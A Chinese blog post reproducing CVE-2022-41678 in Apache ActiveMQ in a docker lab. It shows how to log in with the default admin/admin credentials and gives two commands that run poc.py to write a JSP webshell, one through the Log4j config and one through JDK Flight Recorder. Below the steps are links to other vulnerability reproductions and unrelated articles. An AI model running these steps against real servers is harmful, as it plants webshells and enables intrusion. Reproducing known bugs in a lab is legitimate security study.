CVE-2022-41678 后台代码执行漏洞 (复现)
执行docker compose up -d启动容器
访问ip:8161
默认账密admin/admin登录后台

复现方法1:
通过修改 Log4j 配置写入任意文件
执行python3 poc.py -u admin -p admin http://your-ip:8161
将webshell写入http://your-ip:8161/admin/shell.jsp
可访问路径验证是否成功

方法 1 受 ActiveMQ 版本限制(需包含 Log4j2)
复现方法2:
该方法利用 OpenJDK 11 引入的 FlightRecorder 特性写入日志文件,适用范围更广
执行python3 poc.py -u admin -p admin --exploit jfr http://your-ip:8161
将webshell写入http://your-ip:8161/admin/shelljfr.jsp
可访问路径验证是否成功

方法 2 依赖 OpenJDK 11 及以上环境
CVE-2022-41678 后台代码执行漏洞 (复现)的更多相关文章
- DedeCMS V5.7 SP2后台代码执行漏洞复现(CNVD-2018-01221)
dedeCMS V5.7 SP2后台代码执行漏洞复现(CNVD-2018-01221) 一.漏洞描述 织梦内容管理系统(Dedecms)是一款PHP开源网站管理系统.Dedecms V5.7 SP2 ...
- Windows CVE-2019-0708 远程桌面代码执行漏洞复现
Windows CVE-2019-0708 远程桌面代码执行漏洞复现 一.漏洞说明 2019年5月15日微软发布安全补丁修复了CVE编号为CVE-2019-0708的Windows远程桌面服务(RDP ...
- IIS6远程代码执行漏洞复现CVE-2017-7269
简述 CVE-2017-7269是IIS 6.0中存在的一个栈溢出漏洞,在IIS6.0处理PROPFIND指令的时候,由于对url的长度没有进行有效的长度控制和检查,导致执行memcpy对虚拟路径进行 ...
- Tomcat/7.0.81 远程代码执行漏洞复现
Tomcat/7.0.81 远程代码执行漏洞复现 参考链接: http://www.freebuf.com/vuls/150203.html 漏洞描述: CVE-2017-12617 Apache T ...
- IIS_CVE-2017-7269 IIS6.0远程代码执行漏洞复现
CVE-2017-7269 IIS6.0远程代码执行漏洞复现 一.漏洞描述 IIS 6.0默认不开启WebDAV,一旦开启了WebDAV,安装了IIS6.0的服务器将可能受到该漏洞的威胁. 二.影响版 ...
- Windows漏洞:MS08-067远程代码执行漏洞复现及深度防御
摘要:详细讲解MS08-067远程代码执行漏洞(CVE-2008-4250)及防御过程 本文分享自华为云社区<Windows漏洞利用之MS08-067远程代码执行漏洞复现及深度防御>,作者 ...
- Apache log4j2 远程代码执行漏洞复现👻
Apache log4j2 远程代码执行漏洞复现 最近爆出的一个Apache log4j2的远程代码执行漏洞听说危害程度极大哈,我想着也来找一下环境看看试一下.找了一会环境还真找到一个. 漏洞原理: ...
- Spring Framework远程代码执行漏洞复现(CVE-2022-22965)
1.漏洞描述 漏洞名称 Spring Framework远程代码执行漏洞 公开时间 2022-03-29 更新时间 2022-03-31 CVE编号 CVE-2022-22965 其他编号 QVD-2 ...
- 【代码审计】YUNUCMS_v1.0.6 后台代码执行漏洞分析
0x00 环境准备 QYKCMS官网:http://www.yunucms.com 网站源码版本:YUNUCMSv1.0.6 程序源码下载:http://www.yunucms.com/Downl ...
- PHP远程代码执行漏洞复现(CVE-2019-11043)
漏洞描述 CVE-2019-11043 是一个远程代码执行漏洞,使用某些特定配置的 Nginx + PHP-FPM 的服务器存在漏洞,可允许攻击者远程执行代码. 向Nginx + PHP-FPM的服务 ...
随机推荐
- Github如何创建添加开源许可license
我们点击项目上方的 Add file,选择 creat new file 名称填写 LICENSE, 右侧便会出现按钮 Choose a license template 选择你要的证书,填写 年份 ...
- 一个大对象引起的血案,GC的踩坑实录
背景: 问题: 有个渠道支付服务,负责与所有支付相关服务进行交互,包括 渠道下单支付,渠道成功通知,渠道的对账等 服务4台机,平时跑的都很稳定,通过thrift进行对外提供服务,且平时并未发现访问 ...
- 开源ERP系统 Odoo 18 介绍
开源ERP系统 Odoo 18 介绍 1. ERP 简介 企业资源计划(ERP,Enterprise Resource Planning)是一种集成软件系统,旨在帮助企业管理和优化业务流程.ERP 系 ...
- http协议中长连接和短连接介绍
TCP连接 当网络通信时采用TCP协议时,在真正的读写操作之前,客户端与服务器端之间必须建立一个连接,当读写操作完成后,双方不再需要这个连接时可以释放这个连接.连接的建立依靠"三次握手& ...
- C++ 11之std::bind用法
#include <iostream> #include <functional> #include <stdio.h> int funcA( int a, int ...
- GStreamer开发笔记(五):gstreamer创建组件、管道和总线实现简单的播放器
前言 前面是自动构建管道.本篇实例化每个元素并将它们链接在一起来手动构建一个管道. 本篇创建管道分为:创建组件,连接组件,获取总线,阻塞提取需要的消息并处理. Demo 管道图 ...
- UFT 关于excel及datatable的处理
1. excel 2. datatable
- Linux 上安装配置 VNC Server
一:简介 VNC (Virtual Network Console),即 虚拟网络控制台.它是一款优秀的远程控制工具软件,而且是基于 UNIX 和 Linux 操作系统的免费开源的. 二:VNC 服务 ...
- 深入掌握iostat:运维必备的I/O性能分析利器
在Linux系统运维中,磁盘I/O性能往往是系统瓶颈的关键来源.iostat作为sysstat工具包中的核心命令,能够实时监控CPU使用率和磁盘I/O统计,是性能诊断不可或缺的工具.本文将全面解析io ...
- C# lambda 去除重复GroupBy 查找最大记录一条数据
public class Student { public int ID { get; set; } public string Name { get; set; } public int Age { ...